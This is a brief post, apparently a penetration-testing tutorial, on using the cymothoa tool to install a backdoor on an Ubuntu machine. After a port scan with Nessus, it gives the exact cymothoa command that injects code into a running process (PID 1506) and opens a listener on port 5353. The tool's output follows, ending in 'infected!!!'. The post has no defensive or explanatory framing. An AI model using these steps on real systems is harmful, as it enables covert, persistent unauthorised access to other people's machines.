Cymothoa in Ubuntu

Use cymothoa for installing backdoor in ubuntu
1.scan ip ubuntu with nessus for open port

2.open the cymothoa next type :./cymothoa -p 1506 -s 0 -y 5353
root@BT:/pentest/backdoors/cymothoa# ./cymothoa -p 1506 -s 0 -y 5353
[+] attaching to process 1506

 register info:
 -----------------------------------------------------------
 eax value: 0x72         ebx value: 0x9633008
 esp value: 0x963302a    eip value: 0x0
 ------------------------------------------------------------

[+] new esp: 0x09633026
[+] injecting code into 0xb77ee000
[+] copy general purpose registers
[+] detaching from 1506

[+] infected!!!